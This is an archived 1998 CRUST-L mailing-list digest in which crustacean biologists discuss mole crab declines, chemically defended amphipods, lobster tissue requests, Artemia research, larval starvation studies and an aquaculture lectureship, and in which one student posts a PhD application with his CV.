12:46:06 -0500 Subject: Re: CRUST-L: Mole Crab Info Request Debi, Just a couple quick observations. First, Emerita are seasonal, even in Florida, and are often hard to find before May. Second, it has been documented that mole crab abundance is negatively impacted by heavy foot traffic (can't recall the reference offhand). Third, these critters are pretty nomadic and gregarious, conditions which favor high interannual variability in local abundance (e.g., see some of Adrian Wenner's work in the 1960's). Cheers, Alan - ------------------------------------ Alan W. Harvey (aharvey@amnh.org) Assistant Curator of Invertebrates American Museum of Natural History Central Park West at 79th Street New York, NY 10024 (212) 769-5638; fax (212) 769-5783 http://research.amnh.org/~aharvey =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gregory Jensen Date: Wed, 22 Apr 1998 11:25:05 -0700 (PDT) Subject: Re: CRUST-L: toxic crusties There are at least two species of amphipods in the Pacific Northwest that appear to utilize chemical defenses. Both are very boldly marked, sit right out in the open, and are rejected when offered to fish. When stressed they release a brownish liquid from the mouth, much like the ""spit"" from grasshoppers (which contains toxins sequestered from plants). A fish ecologist, Steve Norton, has done quite a bit of work on these amphipods but I don't know of any published information yet. Gregory C. Jensen University of Washington =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 16:53:20 -0400 (EDT) Subject: CRUST-L: Lobster tissue (fwd) Please respond to Keith Crandall and not to me. Cheers, Jeff - ---------- Forwarded message ---------- From: ""Keith A. Crandall"" Subject: lobster tissue X-Sender: kac@email.byu.edu To: CRUST-L@VIMS.EDU Message-id: MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" Dear Crusters, I'm looking for some lobster outgroups for a systematic study of the crayfish families and subfamilies. I was hoping some of you could help by shipping me live lobster specimens or whole or tissue samples of frozen specimens. A frozen leg would due if your positive about the id and are willing to keep the remainder as a voucher specimen. I'd be happy to reimburse you for the postage charges. I can also provide a FedEx number to avoid charges to you at all. In particular, I'm looking for species of Nephrops, Homarinus, Metanephrops, Nephropsis, Thaumastocheles, Thymops, Eunephrops, and Thymopides. Thanks for your help!!! Cheers, Keith **************************** Dr. Keith A. Crandall Assistant Professor Department of Zoology 574 Widtsoe Building Brigham Young University Provo, UT 84602-5255 USA (801) 378-3495 Fax: (801) 378-7423 keith_crandall@byu.edu **************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wtctj@mail.zlnet.com.cn Date: Thu, 23 Apr 1998 10:00:43 +0800 Subject: CRUST-L: e-mails of Artemia experts Dear All, We would like to know the e-mails of the following Artemia experts: 1. Abreu-Grobois, F. A. 2. Badaracco G. 3. Beardmore J. A. Any help is very much apperciated. Thank you in advance. Sun Yi, Ph.D. Biology Department Nankai University Tianjin, China =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wtctj@mail.zlnet.com.cn Date: Thu, 23 Apr 1998 10:00:36 +0800 Subject: CRUST-L: rare male of parthenogenetic Artemia Dear All, We are studying the rare males of parthenogenetic Artemia. We would like to know the appearance mechanisms and fuctions of rare males of parthenogenetic Artemia in the parthenogenetic population. Similar studies and results on other species are also much appreciated. Thank you in advance. Sun Yi, Ph.D. Biology Department Nankai University Tianjin, China =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Burachai Sonthayanon Date: Thu, 23 Apr 1998 10:11:22 +0700 (GMT+0700) Subject: Re: CRUST-L: Commercially available myosins from Crustacea?? Hello Grant, and everybody, On Tue, 21 Apr 1998, GRANT D STENTIFORD wrote: > how conserved are the myosins in different species?. I > am working on the deep abdominal flexor muscle of the Norway Losbter > (Nephrops norvegicus)...this muscle is homogenous fast type. I will try to help answering some of your questions. From our cDNA sequence data on Penaeus monodon, some of our clones which we classified as myosin (heavy chain) showed some 67-75 % sequence similarity to that of a Drosophila melanogaster one. The similarity would be less to those of mammalian ones. Hope this give you some idea. Burachai Sonthayanon, Ph.D. Assistant Prof. in Biochemistry, Mahidol University e-mail : scbst@mahidol.ac.th =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""JAMES RICHARD WILLIAMS"" Date: Thu, 23 Apr 1998 13:20:01 GMT0BST Subject: CRUST-L: PhD application Dear Readers, RE: PhD Position My name is James Williams and I am a final year Hons Biology student at the University of Nottingham, U.K. I am writing to enquire about research PhD studentships. During an inter-calated year out (academic year 1996/97), I worked at the Oceanarium in St.David's, Pembrokeshire (U.K.) in order to gain first-hand experience of Atlantic marine life and the fishing industry. My final year research project has involved studying moult-associated changes in the muscle tissues of the Edible Crab, Cancer pagurus. I am extremely keen to continue research in marine species, particularly those of relevance to commercial fisheries. I would be very grateful if you could reply with details of appropriate PhD studentships available which you may know of, together with details of the application procedure. Pasted below are my CV and a brief summary of the current crab project for your perusal. I would also greatly appreciate it if this information could be forwarded to prospective PhD supervisors. I shall be very pleased to hear from you at your earliest convenience, Yours Sincerely, James Williams. The Effect of The Moulting Cycle on the Quality of Crab Meat General This preliminary study is being carried out by James Williams as a Third Year Project and will contribute to his finals in Hons Biology at the University of Nottingham. During an inter-calated year out (academic year 1996/97), James worked at the Oceanarium in St.David's, Pembrokeshire under the supervision of Mr.Gary Cross, the Director. In spare time, James researched aspects of crab biology of relevance to the shellfish industry, and in particular in ways of discriminating between individuals rich in meat and those with little meat. Studies were conducted on the European Edible Crab, Cancer pagurus. The intermoult stages of Brachyurans appears to be critical in determining meat content and quality. The major phase of this project is concerned with looking at the cellular and molecular changes underlying these tissue alterations. The supervisor for these studies is Dr.Mike J.Dowdall, a Biochemist with research interests in cell physiology and with considerable experience in working with marine species. He has spent a total of eight summers working at the Marine Biological Laboratory at Woods Hole and has been a member of their corporation since 1974. Research Literature searches reveal that virtually nothing has been published on the cellular and molecular changes occurring in crab muscle during the intermoult period between consecutive moults (ecdyses). This in itself is very surprising, since during each cycle there must be massive changes in the cellular architecture which must be reflected in biochemical ones. These changes must be comparable to those which are seen generally in animal development. It is known that developmental changes involve a constant, ongoing re-organisation of the cellular populations and this is achieved by alterations in the expression of different families of proteins encoded for by the genotype (co-ordinate gene switching). Post-development, a more stable phenotype emerges and gene-switching on this scale is not seen - although it still occurs periodically in specialised tissues (e.g. those under control by hormones of the steroid category). The moulting process in arthropods is known to be regulated by hormones of the ecdysone family and indeed co-ordinate gene switching was first demonstrated in insects. In insects the spectrum of gene products (proteins) after ecdysone treatment is quite different from that seen before. It has therefore been proposed that changes in protein expression be looked for in crab muscle as a function of the ""moult-cycle stage"". Accurate moult-staging is a major problem faced by the shellfish industry and academics alike; traditionally, it has been impossible to accurately predict meat quality and content of intermoult crabs. After recognition of this problem, which has both major ecological and economic implications for the fishery, a novel quantitative method for moult-staging was recently devised and has been used in this study. This was developed at the Oceanarium and depends on total body mass of the crab relative to its size. A commercially available electronic device for this (""Crab-Check"") is currently under development. The biochemical measurements involved in this project focus on the activities of a number of key enzymes which are likely to change during the re-organisation of muscle in the cycle. These are mitochondrial, lysosomal and cytoplasmic enzymes (e.g. fumarase, acid phosphatase and alanine-pyruvate transaminase) and also include those which are important to the energetics of normal muscle function (e.g. arginine kinase and lactate dehydrogenase). In addition, activities not normally found in muscle, but present in tissues which are nutrient donors, are also being measured (e.g. alkaline phosphatase). These may be correlated to muscle tissue wet / dry masses, protein content, and to measurements of muscle changes which occur during cooking of crabs at the various stages. The biochemical information might help to focus on the specific changes occurring in the muscle tissue during the cycle; these may ultimately and importantly relate to meat content and quality. Experimental Design Muscle of the crab claw is used as being representative of the whole muscle mass of the crab. Mr.Gary Cross co-ordinated the arrangements for obtaining crabs from local commercial fishermen, and a sample of 45 crabs were caught for the study on a trip during December 1997. Prior to collection, pilot experiments on enzyme activity in Shore Crab (Carcinus maenas) muscle were conducted in Nottingham on fresh material. These were designed to test optimal conditions for tissue homogenisation and low temperature storage, as well as establishing =91baseline=92 activities of the specific enzymes studied. The C. pagurus collection involved measuring mass and size dimensions of the crabs, followed by removal and freezing of claws from 25 =91calibrated=92 individuals. These were transported to Nottingham for laboratory analysis. Claw tissue homogenates were made for each crab and are stored at -80=B0C. This material forms the tissue bank from which data sets on individual enzyme activities and other muscle proteins are being established. The 25 crabs selected fall into groups of individuals at different stages in the intermoult cycle, and hence it should be possible to determine the biochemical basis for the large-scale changes which occur. Funding This project is funded by the Shellfish Association of Great Britain.. Curriculum Vitae - James Richard Williams PERSONAL DETAILS Date of birth: 20th May, 1976. Nationality: British. Home address: The Old Manor House, 6, Main Street, Hartshorne, Swadlincote, Derbyshire, U.K. DE11 7ES E-mail: plyljrw@pln2.nottingham.ac.uk CAREER AIM Biologist with relevant work experience, looking to pursue a career in marine biological research with particular application to sea fisheries and their successful management. EDUCATION 1994-98 University of Nottingham, School of Biology. BSc (Hons) Biology Modules studied include: Animal Behaviour, Animal Form & Function, Biological Anthropology, Biomonitoring of Pollution, Cell Structure & Metabolism, Conservation Biology & Biogeography, Dissertation, Freshwater Ecophysiology, Genes and Cellular Control, Genetics & Evolution, Hormones & Reproduction, Human genetics, Marine Biology, Microbiology, Photography & Life Science, Physiological Zoology, Plant Science, Population Genetics Field Course, Primatology, Principles of Ecology & Evolution. Final Year Research Project: The effect of the moulting cycle on the quality of crab meat: muscle biochemistry in the Edible Crab, Cancer pagurus. Expected degree class: 1st class /high 2.1 1996-97 Inter-calated year placement The Oceanarium, St.Davids Sea Life Centre Ltd., St.David's, Pembrokeshire, U.K. Employed as manager and aquarist to gain first-hand knowledge of the fishing industry, its practices, markets and operation. Conducted original scientific research in areas where very little published work exists, including crustacean fishery and fish superattractants projects. 1992-94 Abbot Beyne School Sixth Form, Burton-upon-Trent, Staffordshire. 'A' Levels: Biology (B), Geography (A), Chemistry (B), General Studies (B) 1987-92 Abbot Beyne School, Burton-upon-Trent, Staffordshire. GCSEs: English Language (A), English Literature (A), Maths (A), Science (AA), Geography (A), Art (A), French (B), German (B). RELEVANT BIOLOGICAL SKILLS AND EXPERIENCE * Extensive first hand knowledge of the sea fishing industry. I have valuable practical experience on domestic and commercial fishing vessels, including inshore crab and lobster fishing, inshore trawling for Oceanarium live specimens, and deep sea fishing. The latter includes one week commercial longlining 100 miles offshore in the Bay of Biscay acting as supervisor for trials of prototype superattractants. * Sea Aquarium management, including aquarium operation and maintenance; fish capture, care, diet and disease; accounting; advertising; bookings; educational talks. * Correspondence with fishery organisations, their academics and agents world-wide to discuss research topics. * Considerable understanding and first hand observational/practical experience of Atlantic seafish and marine life,including their natural history, ecology and reproduction. * Experience in applying for research grants to the E.C., the Shellfish Association of Great Britain and the Welsh Development Agency. RELEVANT PERSONAL SKILLS * Excellent communicative skills. I am an experienced public speaker having performed numerous educational and entertaining group talks to >100 persons including adults, children aged 4-16, sixth form and undergraduate students. I can readily communicate with fishermen and appreciate their valuable knowledge which may often provide essential clues to successful fishery management. * Problem solving approach to tackling tasks. I work expeditiously either independently or as a member of a team to completethe task in hand. * Organisation when undertaking laboratory/field experiments and during report writing. INTERESTS * I enjoy most outdoor activities and sport in general, including football, swimming, surfing, mountain biking, sea-fishing, squash and badminton. I am currently a BSAC Novice Diver nearing Sports Diver qualification, and have experience diving to collect specimens for the Oceanarium. * I have been playing acoustic and electric guitar for seven years. * I have a keen interest in biological photography (stills and video) and have studied this subject as part of my degree. OTHER SKILLS AND EXPERIENCE * Computer literacy, including word processing, graphics, data analysis/presentation, statistical analysis, the Internet and relevant e-mail discussion groups. Applications include Word, Excel, Pagemaker, Photoshop, Minitab, Ecostat, Authorware. * Inshore boat handling experience. * Understanding and awareness of ocean tides, currents and weather systems. * Full, clean driving licence. * I have also gained further experience of the working environment in various weekend and holiday jobs throughout the last eight years. REFEREES Mr. Gary Cross (Director), Oceanarium, St. David's Sea Life Centre Ltd., St.David's, Pembrokeshire, U.K. NG7 2RD E-mail: gary@sealife.demon.co.uk Dr. Mike J. Dowdall (Reader in Neurochemistry), School of Biology, University of Nottingham, University Park, Nottingham, U.K. SA62 6SS E-mail: plylmjd@pln1.nottingham.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 23 Apr 1998 09:35:35 -0400 (EDT) Subject: CRUST-L: anomoran histology Please respond to Stephen Dunbar, s.dunbar@cqu.edu.au, or the list, but not directly to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: dunbars@topaz.cqu.edu.au To: CRUST-L@VIMS.EDU From: ""Stephen G. Dunbar"" Subject: Anomuran Histology? Hi Everyone, Just wondering if anyone knows of an atlas of anomuran histology or references to such? I have found one for Callinectes sapidus by P.T. Johnson (1980) and also one on Penaeid shrimp by Bell & Lightner (?), but nothing so far on anomurans. Thanks, as always, for any help you can give. Steve Stephen G. Dunbar Central Queensland University Department of Biology CQ Mail Centre, QLD 4702 Email: dunbars@topaz.cqu.edu.au Ph: 0749-309-647 Fax: 0749-309-209 Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ron Rosati Date: Thu, 23 Apr 1998 13:26:07 -0500 Subject: CRUST-L: wanted: 4 million p. vannamei post larvea for late May delivery I am trying to buy 4 million p. vannamei PL 8's for late May delivery to = South Texas. The PL's must be certified high health and disease free by = the Texas Parks and Wildlife Department. If you have any leads on a = source please reply via return e-mail or call Ron Rosati at = 512-593-3811. Thanks for your help. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Fri, 24 Apr 1998 11:31:58 +0100 Subject: Re: CRUST-L: toxic crusties >An article in the new American Scientist by Jim McClintock prompts me to >wonder how many crusties use defensive (or even offensive) toxins? (...) >But-do crusties have their *own* toxins? If not synthesized by themselves, >at least sequestered from their food, such as sponges or corals, etc. Like >insects do with toxic plants. You will find some information and ""old"" observations in the following reference : Guinot D., 1967. Les crabes comestibles de l'Indo-Pacifique. Editions de la Fondation Singer-Polignac, Paris, 1- 145, fig.1-23 + pl. 1-10 HT. See especially pages 13-19. Hope it will help. Best regards. Pierre. Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Fri, 24 Apr 1998 15:46:27 +0000 (SAST) Subject: CRUST-L: Southern African Decapod Larval Works Fellow Members A colleague and I are collaborating on a review paper entitled The Past, Present and Future of Decapod Crustacean Larval Research in Southern Africa. In this respect we would like to have access to all the relevant research in this field for this subregion. We have access to all (we think) the relevant research conducted by South African scientists (which by the way is minimal) and will shortly be in contact with all marine and estuarine researchers in South Africa to gain an indication of present research projects and foci. This message is therefore aimed primarily at foreign researchers. I am aware of several foreigners who have and are conducting work on Decapods in Africa south of the equator. I am not however certain as to whether there is a larval component to any of this research, and would appreciate a response from anyone working in this field, irrespective of the spp concerned and the type of work conducted, just so long as it involves decapod larvae in the southern African region. Any work that may have been done in the past would also be appreciated as well as the addresses of workers who may not subscribe to the newsgroup. Furthermore, if anyone has or knows of work planned for the future, I would also appreciate information in this respect. For the purposes of this paper we have set the limits of Southern Africa as being the Cunene River (border between Namibia and Angola) on the west coast and the same approximate latitude on the east coast (ie just north of Beira, Mocambique). I feel that it is probably best that respondents reply to me directly via email and I will then supply a summary of the info I received to the newsgroup should anyone be interested. Yours Brent Brent Newman University of Zululand South Africa =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #137 ***************************** >From owner-crust-l Mon Apr 27 05:44:38 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id FAA18984 for crust-l-digest-outgoing; Mon, 27 Apr 1998 05:41:09 -0400 Date: Mon, 27 Apr 1998 05:41:09 -0400 Message-Id: <199804270941.FAA18984@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #138 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 12 crust-l-digest Monday, 27 April 1998 Volume 01 : Number 138 CRUST-L: Thalassinid Larval Starvation Resistance CRUST-L: Forwarded mail.... CRUST-L: Mole crabs (fwd) Re: CRUST-L: Mole Crab Info Request CRUST-L: Toxic crustaceans Re: CRUST-L: Toxic crustaceans CRUST-L: toxic crustaceans Re: CRUST-L: Toxic crustaceans CRUST-L: toxic crustaceans Re: CRUST-L: toxic crustaceans Re: CRUST-L: toxic crustaceans CRUST-L: Re: Toxic crustaceans CRUST-L: Crusty Stories [none] ---------------------------------------------------------------------- From: Brent Newman zool Date: Fri, 24 Apr 1998 16:03:01 +0000 (SAST) Subject: CRUST-L: Thalassinid Larval Starvation Resistance Fellow members I have been conducting research (as part of a PhD) on the starvation resistance capabilities of Upogebia afrivana larve (Point of Reserve Saturation and No Return (PRS and PNR) and cyclic (patchy) food regimens). As some of you may be aware the literature in this respect is expanding, particularly for brachyuran crabs (see several papers by Klaus Anger and co-workers). However, as far as I am aware, there are only four references in this respect for thalssinid larvae viz Thessalou-Legaki wt al. 1992. Effects of starvation and food density on the larval development of Calianassa tyrrhena (Decapoda, Thalassinidea); Forbes: Callianassa krausii - PhD and Descriptive paper; Shy and Chan, 1996. Complete larval develpment of the edible mud shrimp Upogebia edulis Ngoc-Ho and Chan; Gurney, 1937. Notes on some decapod crustacea from the Red Sea.II The larvae of Upogebia savignyi Strahl. Could any members tell me whether I have missed any references? I realise that this newsgroup is not the forum for a quick literature search, but a literature search by keywords would not have revealed the last three mentioned works as they mention merely as anecdotal info that these larvae are highly lecithotrophic and do not need to feed throughout development. My literature search also suggests that our general understanding of thalssinid larval ecology is almost non existent (excluding larval morphology). Can anyone else confirm this? Looking forward to hearing from you Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ernie Chang Date: Fri, 24 Apr 1998 08:39:18 -0700 (PDT) Subject: CRUST-L: Forwarded mail.... UNIVERSITY OF TASMANIA LAUNCESTON SCHOOL OF AQUACULTURE Associate Lecturer/Lecturer in Crustacean Biology The School of Aquaculture seeks to appoint an Associate Lecturer (Level A) or Lecturer (Level B) to teach in Crustacean Aquaculture on a full-time limited term basis (3 - 5 years, subject to negotiation) commencing on 1 July 1998. The successful applicant will be required to teach at undergraduate and postgraduate diploma levels and will therefore have demonstrated (Level B) or potential (Level A) teaching ability in crustacean biology, preferably with relevance to aquaculture, and will display enthusiasm and innovation in teaching delivery. Knowledge of, or experience with, crustacean aquaculture is highly desirable. The successful candidate will have submitted or hold a PhD (Level A), or hold a PhD and have postdoctoral or employment experience (Level B), in a discipline relevant to crustacean biology or aquaculture, and have a proven record of research in invertebrate biology or aquaculture (Level B), or show the potential to conduct research (Level A) as evidenced by refereed publication of original research, consultancy or patents. A vision for the candidate's own research at the University of Tasmania will be required, as will evidence of the capacity to supervise and manage Honours, Masters and PhD candidates. At Level B, the appointee will have demonstrated ability to attract grant funding to support research. Experience of interaction with industry is desirable. The successful candidate will have the capacity to manage and lead technical staff, and will undertake administrative duties commensurate with the level of appointment. The capacity to operate in a team environment is highly desirable. Salary will be in the range of $31,130 - $41,889 per annum (Level A), or $44,042 - $52,113 per annum (Level B), together with attractive superannuation benefits and a pleasant working environment. For further information about the position please contact Professor Ned Pankhurst, School of Aquaculture on (03) 6324 3801, by fax on (03) 6324 3804 or by email Ned.Pankhurst@utas.edu.au. For an application package please contact Tracy Lowe on (03) 6226 2013 or fax on (03) 6226 2751 and quote reference number LA 76/98. The closing date for us to receive your application is Monday 25 May 1998. WE ARE AN EQUAL OPPORTUNITY EMPLOYER AND WE OFFER A SMOKEFREE WORKPLACE Visit our website at http://info.utas.edu.au/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 24 Apr 1998 11:07:49 -0400 (EDT) Subject: CRUST-L: Mole crabs (fwd) Please respond to Zen Faulkes and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 24 Apr 1998 10:44:51 -0400 From: ""Zen Faulkes"" To: crust-l@vims.edu Hello, From: Debi Ingrao > He was wondering why the Mole Crabs < Emerita) seem to have > dissappeared. Does any one have any information on Emerita's - > 1. Living habits - do they ever go into deeper water? Unlikely, as they depend on wave action to filter feed.[*] I know of no reports of Emerita going subtidal. [*] There may be some species variability in whether Emerita can feed in still water. West coat E. analoga can, but I hear the Atlantic species can't. > 2. Has anyone studied the effects of beach restoration projects on > populations of Emeritas Not that I know of. > 3. We have had a very windy year this year - could this be a > possible explaination. Possibly. In discussions with Jenny Dugan and Dave Hubard at UC Santa Barbara, they described beaches being ""scoured"" by wind during the winter and, not surprisingly, Emerita were hard to find there for a while. Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""John C. Markham"" Date: Fri, 24 Apr 1998 20:00:53 -0700 Subject: Re: CRUST-L: Mole Crab Info Request Debi Ingrao wrote: >=20 > I work in the Benthic Ecology Program at Mote MArine Laboratory and > recieved a call from a high school student on the west coast of Florida. > He was wondering why the Mole Crabs < Emerita) seem to have dissappeare= d. > Does any one have any information on Emerita's - > 1. Living habits - do they ever go into deeper water? > 2. Has anyone studied the effects of beach restoration projects= on > populations of Emeritas > 3. We have had a very windy year this year - could this be a > possible explaination. >=20 > Over the last few years, some of my volunteers who are avid fisherman h= ave > also noticed a declined in availabilty of mole crabs(one of their favor= ite > fishing baits) on our local beaches. >=20 > I would welcome any comments or suggestions of literature which may hel= p > me out. >=20 > Thanks, >=20 > debi > Ingrao Debi and gang: On the beach here (Latitude 45=BA48'N) we have almost every year, but never through the winter. Right about now the first few small individuals are starting to show up (from California?). Typically, tiny ones arrive in the spring and the size of the population and individuals both increse through the summer. Occasionally, though, the beach remains devoid of them all year. Two years ago, the only time I have seen it, the population underwent synchronous molting, so there were literally millions of cast shells in windrows along the beach. By sometime in the fall each year, they are all gone. So far as I know, no one has studied the population dynamics, so it remains unknown whether the crabs migrate south in the winter, or they die out and larvae of another population are carried in anew from somewhere to the south each spring. Possibly something similar happens to your population. John Markham jmarkham@seasurf.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available 